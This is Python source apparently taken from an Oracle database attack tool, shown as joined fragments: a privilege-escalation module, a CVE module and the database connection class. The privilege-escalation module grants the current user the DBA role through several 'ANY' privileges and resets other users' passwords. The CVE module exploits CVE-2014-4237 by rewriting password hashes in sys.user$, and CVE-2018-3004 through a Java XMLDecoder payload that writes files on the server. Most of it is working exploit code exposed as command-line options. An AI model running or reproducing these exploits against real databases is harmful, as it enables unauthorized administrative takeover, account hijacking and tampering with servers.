			grantDBArequest = self.GRANT_DBA_TO_USER.format(user)
			status = self.executeSytemRequestWithCreateAnyIndexMethod(privRequest=grantDBArequest)
			if status == True:
				logging.info('The DBA role has been granted to {0}'.format(user))
				return True
			else:
				logging.info('The DBA role has NOT been granted to {0}'.format(user))
				return False
		
	####################################################################################################################
	#						Test ALL methods
	####################################################################################################################	
	def testAll (self):
		'''
		Test all functions
		'''
		DEFAULT_UNKNOWN_ORACLE_USER = "ahNgahchishei5xiesi2"
		REQUEST_TEST_FOR_ANALYZE_ANY_METHOD = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER)
		REQUEST_TEST_FOR_CREATE_ANY_INDEX = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER)
		REQUEST_TEST_FOR_CREATE_ANY_TRIGGER = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER)
		REQUEST_TEST_FOR_CREATE_ANY_PROCEDURE = 'ALTER USER {0} IDENTIFIED BY {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER)
		REQUEST_TEST_FOR_EXECUTE_ANY_PROCEDURE = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER)
		
		self.args['print'].subtitle("Gain elevated access (privilege escalation)?")
		isDBA = self.hasThisRole('DBA')
		if isDBA == True:
			logging.info("The current Oracle user has already the DBA role.")
			self.args['print'].unknownNews("The current user has already DBA role. It does not need to exploit a privilege escalation!")
		else :
			#CREATE/EXECUTE ANY PROCEDURE
			self.args['print'].subsubtitle("DBA role using CREATE/EXECUTE ANY PROCEDURE privileges?")
			logging.info("If the current user has the CREATE ANY PROCEDURE and EXECUTE ANY PROCEDURE, he can have DBA role")
			status = self.executeRequestWithExecuteAnyProcedureMethod(privRequest=REQUEST_TEST_FOR_EXECUTE_ANY_PROCEDURE)
			if isinstance(status, Exception):
				if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper():
					logging.info("The current user can give himslef the DBA role using CREATE/EXECUTE ANY PROCEDURE method")
					self.args['print'].goodNews("OK")
				else:
					logging.info("The current user can NOT give himslef the DBA role using CREATE/EXECUTE ANY PROCEDURE method")
					self.args['print'].badNews("KO")
			else : 
				logging.info("The current user can NOT give himslef the DBA role using CREATE/EXECUTE ANY PROCEDURE method")
				self.args['print'].badNews("KO")
			#CREATE ANY PROCEDURE only
			self.args['print'].subsubtitle("Modification of users' passwords using CREATE ANY PROCEDURE privilege only?")
			logging.info("If the current user has the CREATE ANY PROCEDURE he can set the password of arbitrary Oracle user")
			status = self.executeSytemRequestWithCreateAnyProcedureMethod(privRequest=REQUEST_TEST_FOR_CREATE_ANY_PROCEDURE)
			if isinstance(status, Exception):
				if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper():
					logging.info("The current user can alter Oracle users' passwords with CREATE ANY PROCEDURE method")
					self.args['print'].goodNews("OK")
				else:
					logging.info("The current user can NOT alter Oracle users' passwords with CREATE ANY PROCEDURE method")
					self.args['print'].badNews("KO")
			else : 
				logging.info("The current user can NOT alter Oracle users' passwords with CREATE ANY PROCEDURE method")
				self.args['print'].badNews("KO")
			#CREATE ANY TRIGGER
			self.args['print'].subsubtitle("DBA role using CREATE ANY TRIGGER privilege?")
			logging.info("If the current user has the CREATE ANY TRIGGER and CREATE PROCEDURE, he can have DBA role normally")
			status = self.executeSytemRequestWithCreateAnyTriggerMethod(privRequest=REQUEST_TEST_FOR_CREATE_ANY_TRIGGER)
			if isinstance(status, Exception):
				if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper():
					logging.info("The current user can have the DBA role using CREATE ANY TRIGGER method")
					self.args['print'].goodNews("OK")
				else:
					logging.info("The current user can NOT have the DBA role using CREATE ANY TRIGGER method")
					self.args['print'].badNews("KO")
			else : 
				logging.info("The current user can NOT have the DBA role using CREATE ANY TRIGGER method")
				self.args['print'].badNews("KO")
			# ANALYZE ANY method
			self.args['print'].subsubtitle("DBA role using ANALYZE ANY (and CREATE PROCEDURE) privileges?")
			logging.info("If the current user has the ANALYZE ANY, he can have DBA role normally")
			status = self.executeSytemRequestWithAnalyzeAnyMethod(privRequest=REQUEST_TEST_FOR_ANALYZE_ANY_METHOD)
			if isinstance(status, Exception):
				if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper():
					logging.info("The current user can have the DBA role using ANALYZE ANY method")
					self.args['print'].goodNews("OK")
				else:
					logging.info("The current user can NOT have the DBA role using ANALYZE ANY method")
					self.args['print'].badNews("KO")
			else : 
				logging.info("The current user can NOT have the DBA role using ANALYZE ANY method")
				self.args['print'].badNews("KO")
			# CREATE ANY INDEX method
			self.args['print'].subsubtitle("DBA role using CREATE ANY INDEX (and CREATE PROCEDURE) privileges?")
			logging.info("If the current user has the CREATE ANY INDEX, he can have DBA role normally")
			status = self.executeSytemRequestWithCreateAnyIndexMethod(privRequest=REQUEST_TEST_FOR_CREATE_ANY_INDEX)
			if isinstance(status, Exception):
				if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper():
					logging.info("The current user can have the DBA role using CREATE ANY INDEX method")
					self.args['print'].goodNews("OK")
				else:
					logging.info("The current user can NOT have the DBA role using CREATE ANY INDEX method")
					self.args['print'].badNews("KO")
			else : 
				logging.info("The current user can NOT have the DBA role using CREATE ANY INDEX method")
				self.args['print'].badNews("KO") def runPrivilegeEscalationModule(args):
	'''
	Run the Passwords module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module",
										"revoke-dba-role",
										"dba-with-execute-any-procedure",
										"alter-pwd-with-create-any-procedure",
										"dba-with-create-any-trigger",
										"dba-with-analyze-any",
										"dba-with-create-any-index",
										"exec-with-analyze-any",
										"exec-with-create-any-index",
										"exec-with-create-any-trigger",
										"exec-with-create-any-procedure",
										"exec-with-execute-any-procedure",
										"get-privs",
										"get-detailed-privs"]) == False : return EXIT_MISS_ARGUMENT
	privilegeEscalation = PrivilegeEscalation(args)
	status = privilegeEscalation.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the current user can gain elevated access (privilege escalation)")
		status = privilegeEscalation.testAll()
	if args['get-privs'] == True :
		args['print'].title("Get system privileges and roles of current Oracle user")
		status = privilegeEscalation.printPrivilegesAndRoles()
	if args['get-detailed-privs'] == True:
		args['print'].title("Get system privileges and roles of current Oracle user + roles and privileges of roles granted to this current user")
		status = privilegeEscalation.printPrivilegesAndRoles(deep=True)
	if args['revoke-dba-role'] == True :
		args['print'].title("Revoke DBA role from current user ({0})".format(privilegeEscalation.args['user']))
		status = privilegeEscalation.revokeDbaRole()
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to revoke DBA role from {0}: {1}".format(privilegeEscalation.args['user'], status))
		else : 
			args['print'].goodNews("The DBA role has been revoked from {0}".format(privilegeEscalation.args['user']))
	if args['dba-with-execute-any-procedure'] == True:
		args['print'].title("Grant DBA role to current user with CREATE/EXECUTE ANY PROCEDURE method")
		status = privilegeEscalation.giveDbaRoleWithExecuteAnyProcedureMethod()
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status))
		elif status==None:
			args['print'].unknownNews("The current user has already DBA role")	
		elif status==True: 
			args['print'].goodNews("The DBA role has been granted to this current user")
	if args['alter-pwd-with-create-any-procedure'] != None :
		user, newpwd = privilegeEscalation.args['alter-pwd-with-create-any-procedure'][0], privilegeEscalation.args['alter-pwd-with-create-any-procedure'][1]
		args['print'].title("Alter the password of {0} by '{1}' with CREATE ANY PROCEDURE method".format(user, newpwd))
		status = privilegeEscalation.setPasswordWithCreateAnyProcedureMethod(user, newpwd)
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to alter the password of {0}: {1}".format(user, status))
		elif status==True:
			args['print'].goodNews("Password of {0} user modified: The new password of {0} is '{1}'".format(user, newpwd))
	if args['dba-with-create-any-trigger'] == True:
		args['print'].title("Grant DBA role to current user with CREATE ANY TRIGGER method")
		status = privilegeEscalation.giveDbaRoleWithCreateAnyTriggerMethod()
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status))
		elif status==None:
			args['print'].unknownNews("The current user has already DBA role")	
		elif status==True: 
			args['print'].goodNews("The DBA role has been granted to this current user")
	if args['dba-with-analyze-any'] == True:
		args['print'].title("Grant DBA role to current user with ANALYZE ANY method")
		status = privilegeEscalation.giveDbaRoleWithAnalyzeAnyMethod()
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status))
		elif status==None:
			args['print'].unknownNews("The current user has already DBA role")	
		elif status==True: 
			args['print'].goodNews("The DBA role has been granted to this current user")
		else:
			args['print'].badNews("The DBA role has NOT been granted to this current user")
	if args['dba-with-create-any-index'] == True:
		args['print'].title("Grant DBA role to current user with CREATE ANY INDEX method")
		status = privilegeEscalation.giveDbaRoleWithCreateAnyIndexMethod()
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status))
		elif status==None:
			args['print'].unknownNews("The current user has already DBA role")	
		elif status==True: 
			args['print'].goodNews("The DBA role has been granted to this current user")
		else:
			args['print'].badNews("The DBA role has NOT been granted to this current user")
	#Semi manual exploitation
	if args['exec-with-execute-any-procedure'] != None:
		args['print'].title("Execute the request as SYSTEM with CREATE/EXECUTE ANY PROCEDURE method")
		status = privilegeEscalation.executeRequestWithExecuteAnyProcedureMethod(privRequest=args['exec-with-execute-any-procedure'][0])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status))
		elif status==True: 
			args['print'].goodNews("The request has been executed successfully as system")
	if args['exec-with-create-any-procedure'] != None:
		args['print'].title("Execute the request as SYSTEM with CREATE ANY PROCEDURE method only")
		status = privilegeEscalation.executeSytemRequestWithCreateAnyProcedureMethod(privRequest=args['exec-with-create-any-procedure'][0])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status))
		elif status==True: 
			args['print'].goodNews("The request has been executed successfully as system")
	if args['exec-with-create-any-trigger'] != None:
		args['print'].title("Execute the request as SYSTEM with CREATE ANY TRIGGER method")
		status = privilegeEscalation.executeSytemRequestWithCreateAnyTriggerMethod(privRequest=args['exec-with-create-any-trigger'][0])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status))
		elif status==True: 
			args['print'].goodNews("The request has been executed successfully as system")
	if args['exec-with-analyze-any'] != None:
		args['print'].title("Execute the request as SYSTEM with ANALYZE ANY method")
		status = privilegeEscalation.executeSytemRequestWithAnalyzeAnyMethod(privRequest=args['exec-with-analyze-any'][0])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status))
		elif status==True: 
			args['print'].goodNews("The request has been executed successfully as system")
	if args['exec-with-create-any-index'] != None:
		args['print'].title("Execute the request as SYSTEM with CREATE ANY INDEX method")
		status = privilegeEscalation.executeSytemRequestWithCreateAnyIndexMethod(privRequest=args['exec-with-create-any-index'][0])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status))
		elif status==True: 
			args['print'].goodNews("The request has been executed successfully as system") class CVE_XXXX_YYYY (OracleDatabase):
	'''
	CVE-2014-4237 ? : A user authenticated can modify all tables who can select even if he can't modify them normally (no ALTER privilege)
	'''


	def __init__(self, args):
		'''
		Constructor
		'''
		logging.debug("CVE_XXXX_YYYY object created")
		OracleDatabase.__init__(self,args)
		self.args=args
		
	####################################################################################################################
	#											CVE_2014_4237
	#
	# A user authenticated can modify all tables who can select even if he can't modify them 
	# normally (no ALTER privilege on them)
	# https://twitter.com/gokhanatil/status/595853921479991297
	####################################################################################################################
	def exploit_CVE_2014_4237 (self, updateRequestNormal, updateRequestWithView):
		'''
		Returns:
		- True: current user can exploit this CVE
		- False: current user can not exploit this CVE"
		- None: impossible to known if vulnerable
		'''
		logging.info("Try to exploit the CVE-2014-4237 for doing this operation: {0}".format(updateRequestNormal))
		status = self.__execPLSQL__(updateRequestNormal)
		if isinstance(status, Exception):
			logging.info("The current user can NOT modify the table with a simple update request. It is a good news for testing if vulnerable!")
			logging.info('Testing if CVE-2014-4237 can be exploited by current user using the following SQL request: {0}'.format(updateRequestWithView))
			status = self.__execPLSQL__(updateRequestWithView)
			if isinstance(status, Exception):
				logging.info("Impossible to modify the table (not vulnerable to CVE-2014-4237): {0}".format(self.cleanError(status)))
				return False
			else : 
				logging.info("The current user can alter the table. Vulnerable to CVE-2014-4237.")
				return True
		else :
			logging.info("The current user can modify the table with a simple update request. Bad news for testing if vulnerable!")
			return None
			
	####################################################################################################################
	#											CVE_2018_3004
	#
	# Vulnerability in the Java VM component of Oracle Database Server. 
	# Supported versions that are affected are 11.2.0.4, 12.1.0.2,12.2.0.1 and 18.2. 
	# Difficult to exploit vulnerability allows low privileged attacker having Create Session, 
	# Create Procedure privilege with network access via multiple protocols to compromise Java VM. 
	# Successful attacks of this vulnerability can result in unauthorized access to critical data or 
	# complete access to all Java VM accessible data.
	# Privilege required : Create Session, Create Procedure
	# grant create session to user2;
	# http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html
	####################################################################################################################
	def exploit_CVE_2018_3004 (self, path, dataInFile):
		'''
		Returns:
		- True: current user can exploit this CVE
		- False: current user can not exploit this CVE
		- None: impossible to known if vulnerable
		'''
		DROP_REQ1 = "DROP JAVA SOURCE ExploitDecode"
		DROP_REQ2 = "DROP PROCEDURE exploitdecode"
		REQUEST_1 ="""CREATE OR REPLACE AND COMPILE JAVA SOURCE named ExploitDecode as
            import java.io.*;
            import java.beans.*;
            public class ExploitDecode{
                public static void input(String xml) throws InterruptedException, IOException {
                  XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
                  Object object = decoder.readObject();
                  System.out.println(object.toString());
                  decoder.close();      
                }
            };"""
		REQUEST_2 = """CREATE OR REPLACE PROCEDURE exploitdecode (p_xml IN VARCHAR2) IS
                       language java name 'ExploitDecode.input(java.lang.String)';
		"""
		REQUEST_EXPLOIT_CREATE_FILE = """BEGIN
                exploitdecode('
                <java class="java.beans.XMLDecoder" version="1.4.0" >
                   <object class="java.io.FileWriter">
                      <string>{0}</string>
                      <boolean>True</boolean>
                      <void method="write">
                         <string>{1}</string>
                      </void>
                      <void method="close" />
                   </object>
                </java>');
                END;
		"""#{0} path, {1}  data in file
		logging.info("Try to exploit the CVE-2018-3004 for creating a file on {0} with this data {1}".format(path, dataInFile))
		status = self.__execPLSQL__(REQUEST_1)
		if isinstance(status,Exception):
			logging.info("Impossible to create function to call java (step 1/3): {0}".format(self.cleanError(status)))
			return False
		logging.debug("First request executed successfully")
		status = self.__execPLSQL__(REQUEST_2)
		if isinstance(status,Exception):
			logging.info("Impossible to create procedure to call java (step 2/3): {0}".format(self.cleanError(status)))
			return False
		logging.debug("Second request executed successfully")
		status = self.__execPLSQL__(REQUEST_EXPLOIT_CREATE_FILE.format(path, dataInFile))
		if isinstance(status,Exception):
			logging.info("Impossible to execute procedure to create file (step 3/3): {0}".format(self.cleanError(status)))
			return False
		logging.debug("Exploit executed successfully")
		status = self.__execPLSQL__(DROP_REQ2)
		status = self.__execPLSQL__(DROP_REQ1)
		return True
		
	####################################################################################################################
	#											ALL FUNCTION
	####################################################################################################################
		
	def testAll (self):
		'''
		Test all CVE
		'''
		###### CVE_2014_4237 ######
		REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237 = "update (with tmp as (select * from sys.AUDIT_ACTIONS) select * from tmp) set name='UNKNOWN' where action=0"
		REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237 = "update sys.AUDIT_ACTIONS set name='UNKNOWN' where action=0"
		self.args['print'].subtitle("Modify any table while/when he can select it only normally (CVE-2014-4237)?")
		status = self.exploit_CVE_2014_4237(updateRequestNormal=REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237, updateRequestWithView=REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237)
		if status == True:
			logging.info("The current user can modify the table sys.AUDIT_ACTIONS for example while he can't modify it normally (no alter privilege)")
			self.args['print'].goodNews("OK")
		elif status == False:
			logging.info("The current user can't exploit this CVE")
			self.args['print'].badNews("KO")
		else:
			logging.info("Impossible to know if this database is vulnerable to this CVE because current user is too privileged")
			self.args['print'].unknownNews("Impossible to know")
		###### CVE-2018-3004 ######
		self.args['print'].subtitle("Create file on target (CVE-2018-3004)?")
		if self.remoteSystemIsWindows() == True:
			logging.info("The remote server is Windows")
			testPath, dataInFile = "testDJZDZLK.txt", "data"
		else:
			logging.info("The remote server is Linux")
			testPath, dataInFile = "/tmp/testDJZDZLK.txt", "data"
		logging.debug("Test path used: {0}".format(testPath))
		status = self.exploit_CVE_2018_3004(testPath, dataInFile)
		if status == True:
			logging.info("The current user can create a file on the target with CVE-2018-3004")
			self.args['print'].goodNews("OK")
		elif status == False:
			logging.info("The current user can not create a file on the target with CVE-2018-3004")
			self.args['print'].badNews("KO")
		else:
			logging.info("Impossible to know if this database is vulnerable to this CVE-2018-3004")
			self.args['print'].unknownNews("Impossible to know") def runCVEXXXYYYModule(args):
	'''
	Run the CVE_XXXX_YYYY module
	'''
	if checkOptionsGivenByTheUser(args,["test-module","set-pwd-2014-4237","cve-2018-3004"],checkAccount=False) == False : return EXIT_MISS_ARGUMENT
	cve = CVE_XXXX_YYYY(args)
	status = cve.connection(stopIfError=True)
	if args['test-module'] == True :
		cve.testAll()
	if args['set-pwd-2014-4237'] != None :
		hash11g = oracle11.encrypt(args['set-pwd-2014-4237'][1])
		hash10g = oracle10.encrypt(args['set-pwd-2014-4237'][1], user=args['set-pwd-2014-4237'][0])
		logging.info("hash11g('{2}')={0} & hash10g('{2}')={1}".format(hash11g, hash10g, args['set-pwd-2014-4237'][0]))
		REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237 = "update (with tmp as (select * from sys.user$) select * from tmp) set password='{1}', SPARE4='{2}' where name='{0}'".format(args['set-pwd-2014-4237'][0], hash10g, hash11g)
		REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237 = "update sys.user$ set password='{1}', SPARE4='{2}' where name='{0}'".format(args['set-pwd-2014-4237'][0], hash10g, hash11g)
		args['print'].title("Modify password of '{0}' by these hashs '{1}' & '{2}' using CVE-2014-4237".format(args['set-pwd-2014-4237'][0],hash10g, hash11g))
		status = cve.exploit_CVE_2014_4237(updateRequestNormal=REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237, updateRequestWithView=REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237)
		if status == True:
			cve.args['print'].goodNews("The password of '{0}' has been replaced by '{1}' by exploiting CVE-2014-4237. DB restart necessary!".format(args['set-pwd-2014-4237'][0],args['set-pwd-2014-4237'][1]))
		elif status == False:
			cve.args['print'].badNews("The password of '{0}' has NOT been replaced".format(args['set-pwd-2014-4237'][0]))
		elif status == None:
			cve.args['print'].goodNews("The password of '{0}' has been replaced. This CVE has not be used to do that (if it impacts this database). DB restart necessary!".format(args['set-pwd-2014-4237'][0]))
	if args['cve-2018-3004'] != None :
		args['print'].title("Create file {0} with {1} remotely using CVE-2018-3004".format(repr(args['cve-2018-3004'][0]), repr(args['cve-2018-3004'][1])))
		status = cve.exploit_CVE_2018_3004(args['cve-2018-3004'][0], args['cve-2018-3004'][1])
		if status == True:
			cve.args['print'].goodNews("The file {0} has been created on the target".format(args['cve-2018-3004'][0]))
		elif status == False:
			cve.args['print'].badNews("The file {0} has NOT been created on the target".format(args['cve-2018-3004'][0]))
		elif status == None:
			cve.args['print'].goodNews("Impossible to know if this database is vulnerable to this CVE-2018-3004") class OracleDatabase:
    '''
    '''
    def __init__(self,args):
        '''
        Constructor
        '''
        logging.debug("OracleDatabase module created")
        self.args = args
        self.__generateConnectionString__()
        self.oracleDatabaseversion = ''
        self.remoteOS = ''
        self.TARGET_UNAVAILABLE = ["Connect failed because target host or object does not exist",
                                    "listener could not find available handler with matching protocol stack"]
        self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV = "ORA-29283: "
        self.ERROR_FILEOPEN_FAILED = "ORA-22288: "
        self.ERROR_NO_PRIVILEGE = "ORA-24247: "
        self.ERROR_NO_PRIVILEGE_INVALID_ID = "ORA-00904: "
        self.ERROR_NOT_SYSDBA = "ORA-28009: "
        self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: "
        self.ERROR_CONN_IMPOSS = "ORA-12541: "
        self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: "
        self.ERROR_UNABLE_TO_ACQUIRE_ENV = "Unable to acquire Oracle environment handle"
        self.ERROR_NOT_CONNECTED = "ORA-03114: "
        self.ERROR_SHARED_MEMORY = "ORA-27101: "
        self.ERROR_ACCOUNT_LOCKED = "ORA-28000: "
        self.encoding = args['encoding']
        self.nencoding = args['encoding']

    def __generateConnectionString__(self, username=None, password=None):
        '''
        Generate Oracle Database connection string
        If username is not given, it is taken from self.args
        If password is not given, it is taken from self.args
        Return Connection string according to args and parameters (user, password)
        '''
        if username == None:
            user = self.args['user']
        else:
            user = username
        if password == None:
            pwd = self.args['password']
        else:
            pwd = password
        if 'serviceName' not in self.args and 'sid' not in self.args:
            logging.critical("serviceName and sid are not defined for generating a connection string")
        if ('serviceName' in self.args and self.args['serviceName'] == None) and ('sid' not in self.args and self.args['sid'] == None):
            logging.critical("serviceName and sid are empty for generating a connection string")
        if 'serviceName' in self.args and  self.args['serviceName'] != None:
            logging.debug("TNS Connection string mode enabled and SERVICE NAME used for connection string")
            self.args['connectionStr'] = "{0}/{1}@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(Host={2})(Port={3})))(CONNECT_DATA=(SERVICE_NAME={4})))".format(user,
                                                                                                                                                                     pwd,
                                                                                                                                                                     self.args['server'],
                                                                                                                                                                     self.args['port'],
                                                                                                                                                                     self.args['serviceName'])
        else:
            logging.debug("TNS Connection string mode enabled and SID used for connection string")
            self.args['connectionStr'] = "{0}/{1}@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(Host={2})(Port={3})))(CONNECT_DATA=(SID={4})))".format(user,
                                                                                                                                                            pwd,
                                                                                                                                                            self.args['server'],
                                                                                                                                                            self.args['port'],
                                                                                                                                                            self.args['sid'])
        logging.debug('Oracle connection string: {0}'.format(self.args['connectionStr']))
        return self.args['connectionStr']
    
    def connection(self,threaded =True, stopIfError=False, encoding=None, nencoding=None):
        '''
        Connection to the database
        'The threaded argument is expected to be a boolean expression which indicates whether or not Oracle
        should use the mode OCI_THREADED to wrap accesses to connections with a mutex. Doing so in single threaded
        applications imposes a performance penalty of about 10-15% which is why the default is False.'
        If stopIfError == True, stop if connection error

        The 'encoding' parameter affects character data such as VARCHAR2 and CLOB columns ("UTF-8" by default).
        The 'nencoding' parameter affects “National Character” data such as NVARCHAR2 and NCLOB ("UTF-8" by default).
        '''
        if encoding == None:
            encoding = self.encoding
        if nencoding == None:
            nencoding =self.nencoding
        logging.debug("Connection encoding set to {0}/{1}".format(repr(encoding), repr(nencoding)))
        try: 
            if self.args['SYSDBA'] == True :
                logging.debug("Connecting as SYSDBA to the database")
                # user parameter is assumed to be a connect string
                self.args['dbcon'] = cx_Oracle.connect(user=self.args['connectionStr'],
                                                       mode=cx_Oracle.SYSDBA,
                                                       threaded=threaded,
                                                       encoding=encoding,
                                                       nencoding=nencoding)
            elif self.args['SYSOPER'] == True : 
                logging.debug("Connecting as SYSOPER to the database")
                # user parameter is assumed to be a connect string
                self.args['dbcon'] = cx_Oracle.connect(user=self.args['connectionStr'],
                                                       mode=cx_Oracle.SYSOPER,
                                                       threaded=threaded,
                                                       encoding=encoding,
                                                       nencoding=nencoding)
            else :
                # user parameter is assumed to be a connect string
                self.args['dbcon'] = cx_Oracle.connect(user=self.args['connectionStr'],
                                                       threaded=threaded,
                                                       encoding=encoding,
                                                       nencoding=nencoding)
            self.args['dbcon'].autocommit = True
            if self.remoteOS == '' or self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase()
            return True
        except Exception as e:
            if self.ERROR_CONN_IMPOSS in str(e) or self.ERROR_UNABLE_TO_ACQUIRE_ENV in str(e):
                logging.critical("Impossible to connect to the remost host")
                exit(EXIT_BAD_CONNECTION)
            elif self.ERROR_NOT_SYSDBA in str(e): 
                logging.info("Connection as SYS should be as SYSDBA or SYSOPER, try to connect as SYSDBA")
                self.args['SYSDBA'] = True
                return self.connection(threaded=threaded, stopIfError=stopIfError)
            elif self.ERROR_INSUFF_PRIV_CONN in str(e):
                logging.info("Insufficient privileges, SYSDBA or SYSOPER disabled")
                self.args['SYSDBA'] = False
                self.args['SYSOPER'] = False
                return self.connection(threaded=threaded, stopIfError=stopIfError)
            elif self.ERROR_SHARED_MEMORY in str(e):
                logging.critical("Error server side ('ORA-27101: shared memory realm does not exist').")
                logging.critical("You should try to use a TNS Connection String instead of a connection sting as 'server:port/instance_name'")
                logging.critical("You have to TRY WITH '-t' option!")
                exit(EXIT_BAD_CONNECTION)
            elif stopIfError == True: 
                logging.critical("Impossible to connect to the remote database: {0}".format(self.cleanError(e)))
                exit(EXIT_BAD_CONNECTION)
            else :
                return ErrorSQLRequest(e)
        

    def __retryConnect__(self, nbTry=3):
        '''
        Try to re connect when TARGET UNAVAILABLE
        return status
        return None if impossible to connect to the database server
        '''
        timesleep, status = 2, ''
        for tryNum in range(nbTry):
            logging.debug("Re connection {0} to the listener on the {1} server".format(tryNum+1, self.args['server']))
            sleep(timesleep)
            status = self.connection()
            if self.__needRetryConnection__(status) == False:
                logging.debug("Re-connection done !")
                return status
            if tryNum == nbTry-1 :
                logging.warning("Becareful! The remote is now unavailable. {0} SID not tried. Perhaps you are doing a DOS on the listener.".format(self.args['sid']))
            timesleep += 4
            logging.debug("Impossible to re-establish the connection!")
        return None
    
    def __needRetryConnection__ (self, status):
        '''
        Return True if need retry the connection (server unaivalable)
        else return False
        '''
        for aString in self.TARGET_UNAVAILABLE:
            if aString in str(status):
                return True
        return False

    def close(self):
        '''
        Close connection to the database
        '''
        if 'dbcon' in self.args:
            try:
                self.args['dbcon'].close()
            except Exception as e:
                logging.debug("Impossible to close the connection to the database: {0}".format(e))

    def __execThisQuery__(self, query=None, ld=[], isquery=True, getColumnNames=False, stringOnly=False):
        '''
        Create a cursor and execute the SQL request in 'query'.
        Return a list of tuples by default e.g. [(valueA, valueB,),(valueAA,valueBB,), etc]
        If ld != [], load in a dictionary all results according to ld (column names) and return a dictionary e.g.
        [{'column1':'valueA', 'column2':'valueB'}, etc]
        If getColumns is enabled (not by default), returns columns in first results. Incompatible with ld otpion.
        If stringOnly enabled, try to convert all columns as string when required (e.g. datetime) or convert to repr()
        if impossible. Incompatible with ld option.
        '''
        results = []
        if ld!=[] and (getColumnNames==True or stringOnly==True):
            logging.error("INTERNAL BUG: ld option is not compatible with getColumnNames or stringOnly in __execThisQuery__(). Fix that quickly!")
        cursor = self.args['dbcon'].cursor()
        try:
            if self.args['show_sql_requests'] == True: logging.info("SQL request executed: {0}".format(query))
            cursor.execute(query)
        except Exception as e:
            logging.info("Impossible to execute the query {0}: '{1}'".format(repr(query), self.cleanError(e)))
            if self.ERROR_NOT_CONNECTED in str(e):
                status = self.__retryConnect__(nbTry=3)
                if status == None :
                    return ErrorSQLRequest("Disconnected. Impossible to re-establish a connection to the database server !")
                else :
                    return self.__execThisQuery__(query=query,ld=ld,isquery=isquery)
            else :
                return ErrorSQLRequest(e)
        if isquery==True :
            try :
                cursor.arraysize = 256
                results = cursor.fetchall()
            except Exception as e:
                if self.cleanError(e) == "not a query":
                    logging.debug("{0} is not a query, returning [] as result".format(query))
                    return [()]
                else:
                    logging.warning("Impossible to fetch all the rows of the query {0}: `{1}`".format(query, self.cleanError(e)))
                    return ErrorSQLRequest(e)
            if stringOnly == True:
                logging.debug("Converting all columns as string if required...")
                resultsAsString = []
                for aR in results:
                    aResultAsString = []
                    for v in aR:
                        vString = None
                        try:
                            vString = str(v)
                        except Exception:
                            logging.debug("Impossible to convert {0} as string for request {1}".format(repr(aR),repr(query)))
                            vString = repr(v)
                        aResultAsString.append(vString)
                    resultsAsString.append(aResultAsString)
                results = resultsAsString
            if getColumnNames==True:
                logging.debug("Extracting column names and returning them in results...")
                columnNames = [row[0] for row in cursor.description]
                results = [tuple(columnNames)] + results
        else : 
            cursor.close()
            return 0
        cursor.close()
        if ld==[] : return results
        else :
            values = []
            for line in results:
                    dico = {}
                    for i in range(len(line)):
                        dico[ld[i]] = line[i]
                    values.append(dico)
            return values

    def __execPLSQL__(self,request):
        '''
        Execute this PL/SQL request
        '''
        return self.__execThisQuery__(query=request,ld=[],isquery=False)
        
    def __execQuery__(self,query,ld=[],getColumnNames=False,stringOnly=False):
        '''
        Execute the query (not PL/SQL) and parse response
        '''
        return self.__execThisQuery__(query=query, ld=ld, isquery=True,getColumnNames=getColumnNames,stringOnly=stringOnly)

    def __execProc__(self,proc,options=None):
        '''
        Execute the stored procedure
        - proc: procedure name
        - options: callproc parameters (see http://cx-oracle.readthedocs.org/en/latest/cursor.html)
        Return True if no error. Otherwise returns Exception (ErrorSQLRequest)
        '''
        cursor = cx_Oracle.Cursor(self.args['dbcon'])
        try:
            if options == None :
                cursor.callproc(proc)
            else:
                cursor.callproc(proc,options)
        except Exception as e:
            logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e)))
            cursor.close()
            return ErrorSQLRequest(e)
        cursor.close()
        return True

    def __execPLSQLwithDbmsOutput__(self,request,addLineBreak=False):
        '''
